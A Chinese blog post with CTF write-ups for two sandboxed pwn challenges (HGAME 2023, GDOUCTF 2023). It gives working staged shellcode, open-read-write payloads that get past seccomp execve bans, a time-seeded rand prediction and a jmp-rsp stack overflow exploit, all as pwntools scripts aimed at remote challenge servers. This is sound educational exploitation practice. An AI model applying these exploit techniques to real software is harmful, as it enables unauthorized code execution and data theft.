拿不到shell的shellcode

文章发布时间:

最后更新时间:

Shell we talk?Shall we talk?
seccomp-tools下载

1
2
sudo apt install gcc ruby-dev
gem install seccomp-tools

The arts of shellcode
山海关巨佬的博客:https://www.roderickchan.cn/zh-cn/2023-02-20-the-art-of-shellcode/
1. [HGAME 2023 week1]simple_shellcode
checksec:

1
2
3
4
5
6
[*] '/var/run/vmblock-fuse/blockdir/4JPOf1/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

sandbox:

1
2
3
4
5
6
7
8
root@ubuntu:/home/str1k3/Desktop# seccomp-tools dump '/var/run/vmblock-fuse/blockdir/U0Wns2/vuln' 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL

保护全开,沙盒禁用了system,考虑orw

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

动调看到有一段权限都有的地址,可供写入shellcode。0x10的长度不够,所以我们要手搓shellcode来call一个read,以此写入orw的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0xcafe0000 0xcafe1000 rwxp 1000 0 /dev/zero (deleted) ***
0x555555554000 0x555555555000 r--p 1000 0 /home/str1k3/.cache/vmware/drag_and_drop/ixu541/vuln
0x555555555000 0x555555556000 r-xp 1000 1000 /home/str1k3/.cache/vmware/drag_and_drop/ixu541/vuln
0x555555556000 0x555555557000 r--p 1000 2000 /home/str1k3/.cache/vmware/drag_and_drop/ixu541/vuln
0x555555557000 0x555555558000 r--p 1000 2000 /home/str1k3/.cache/vmware/drag_and_drop/ixu541/vuln
0x555555558000 0x555555559000 rw-p 1000 3000 /home/str1k3/.cache/vmware/drag_and_drop/ixu541/vuln
0x7ffff7dc4000 0x7ffff7de6000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7de6000 0x7ffff7f5e000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f5e000 0x7ffff7fac000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fac000 0x7ffff7fb0000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fb0000 0x7ffff7fb2000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fb2000 0x7ffff7fb8000 rw-p 6000 0 [anon_7ffff7fb2]
0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

把断点下到执行shellcode前的地方看看寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x0
RBX 0x5555555553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7ee3d3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— xor dword ptr [rcx], esi /* 0xa343135343131; '114514\n' */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7ffff7ee3d3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x555555555100 (_start) ◂— endbr64
R13 0x7fffffffe3f0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe300 ◂— 0x0
RSP 0x7fffffffe2f0 —▸ 0x7fffffffe3f0 ◂— 0x1
*RIP 0x5555555553b9 (main+131) ◂— call rdx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
read(0,0xcafe0000+x(地址),0x1000(长度))
在系统调用中就是
rax=0,rdi=0,rsi = 0xcafe0000+x(地址)rdx=0x1000(长度)
那么我们对照上面的寄存器地址就可以构造第一个payload
首先rax=0 不用改变,先把rdi变成0 然后再把rsi=0xCAFE0010,rdx本身就够大了 也不用改变
shellcode=asm("""
mov rdi,rax
mov rsi,0xCAFE0010
syscall
nop
""")


看read的汇编
0x55555555538b <main+85> mov rax, qword ptr [rbp - 8]
0x55555555538f <main+89> mov edx, 0x10
0x555555555394 <main+94> mov rsi, rax
0x555555555397 <main+97> mov edi, 0
0x55555555539c <main+102> mov eax, 0
0x5555555553a1 <main+107> call read@plt <read@plt>
把eax和edi清零,把edx变得足够大,把esi改成要写入的位置,也可以达到同样的调用效果

shellcode1 = asm("""
xor eax, eax /* SYS_read */
xor edi, edi /* 0 */
mov edx, 0x1000
mov esi, 0xcafe0000
syscall
""")

调用完read之后找一段orw的shellcode输进去即可
shellcode2= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

或利用shellcraft
shellcode2 = b"\x90" * 0x100 #???#
shellcode2 += asm(shellcraft.open("/flag"))
shellcode2 += asm(shellcraft.read(3, 0xCAFE0500, 0x500))
shellcode2 += asm(shellcraft.write(1, 0xCAFE0500, 0x500))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
#p=process('./vuln')
p=remote('node2.anna.nssctf.cn',28311)
shellcode1=asm('''
mov rdi,rax;
mov rsi,0xCAFE0010;
syscall;
nop;
''')

p.sendafter("Please input your shellcode:\n",shellcode1)
shellcode2= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
p.send(shellcode2)

print(p.recv())
print(p.recv())

2. [GDOUCTF 2023]Random
开了沙盒

1
2
3
4
5
6
7
8
9
str1k3@ubuntu:~/Desktop$ seccomp-tools dump '/var/run/vmblock-fuse/blockdir/QC26KN/RANDOM' 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

0x60100到0x60200这段内存可读可写可执行,所以尝试把shellcode写入这段后将执行流劫持到该段
haha函数内存在jmp rsp指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from ctypes import *

context.arch='amd64'

# 连接远程
p = remote("node6.anna.nssctf.cn",28969)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))#设置srand函数

jmp_sp = 0x40094E
data_addr = 0x601000

#通过随机数验证 程序会跳转到vulnerable函数
p.sendlineafter("num:",str(libc.rand()%50))

"""
利用 jmp_sp + asm 的攻击方式 让sp指针跳回变量地址 执行shellcode:
在data_addr 0x601000 写入orw_shellcode后
并跳转执行data_addr 0x12300的orw_shellcode
"""
payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容
payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcode
payload=payload.ljust(0x28,b'\x00')#打满变量空间 和 rbp寄存器的字节
payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了
payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcode
p.sendlineafter("your door\n",payload)

"""
orw_shellcode执行的内容:
打开本地的flag文件
把flag文件内容写入到 data_addr+0x100
把输出data_addr+0x100的flag文件内容
"""
orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件
orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100
orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出 地址data_addr+0x100存储的flag内容
p.send(asm(orw_shellcode))

p.interactive()

基于堆漏洞的orw可以看setcontext